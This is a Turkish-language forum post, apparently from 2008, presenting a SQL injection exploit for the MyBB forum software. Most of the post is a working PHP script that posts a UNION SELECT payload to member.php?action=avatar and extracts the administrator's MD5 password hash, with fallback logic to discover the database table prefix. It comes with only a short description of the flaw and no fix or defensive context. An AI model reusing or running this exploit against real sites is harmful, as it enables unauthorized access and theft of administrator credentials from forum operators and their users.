hacked MASTER
Mesaj Sayısı : 199 Kayıt tarihi : 08/03/08
| Konu: MyBB Forum Exploit Salı Mart 11, 2008 12:16 am | |
| MyBB Forum Exploit Seviye: Orta
Etki: SQL Injection
Alan: Uzak Erişim
Açıklama: MyBB, php ve mysql ile geliştirilen güçlü bir forum uygulamasıdır. Form verilerinin yetersiz kontrolü sonucu sql komutu çalıştırmak mümkün. "member.php" dosyasının aldığı "uid" yeterince kontrol edilmiyor.
Örnek: Aşağıdaki kod kullanılarak admin şifresinin MD5 hali ele geçirilebilir.
Code:
<?php
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');
function get_pass($host, $path, $dbprefix) { $query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");
$query = implode('&', $query);
$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n"; $header .= "Host: $host\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($query) . "\r\n\r\n";
$fp = fsockopen($host, 80, $errno, $errstr, 30); fwrite($fp, $header . $query);
$html = ''; while (!feof($fp)) { $tmp = fgets($fp, 1024); $html.= $tmp; } fclose($fp);
preg_match('/\: ([a-z0-9]{32})/i', $html, $matches); if (empty($matches[1]) && empty($dbprefix)) { preg_match('#FROM (\w+)avatars WHERE#i', $html, $matches); $dbprefix = $matches[1]; if (empty($dbprefix)) { return 'Unable to obtain password'; } $password = get_pass($host, $path, $dbprefix); } else { $password = $matches[1]; }
return $password; | |
|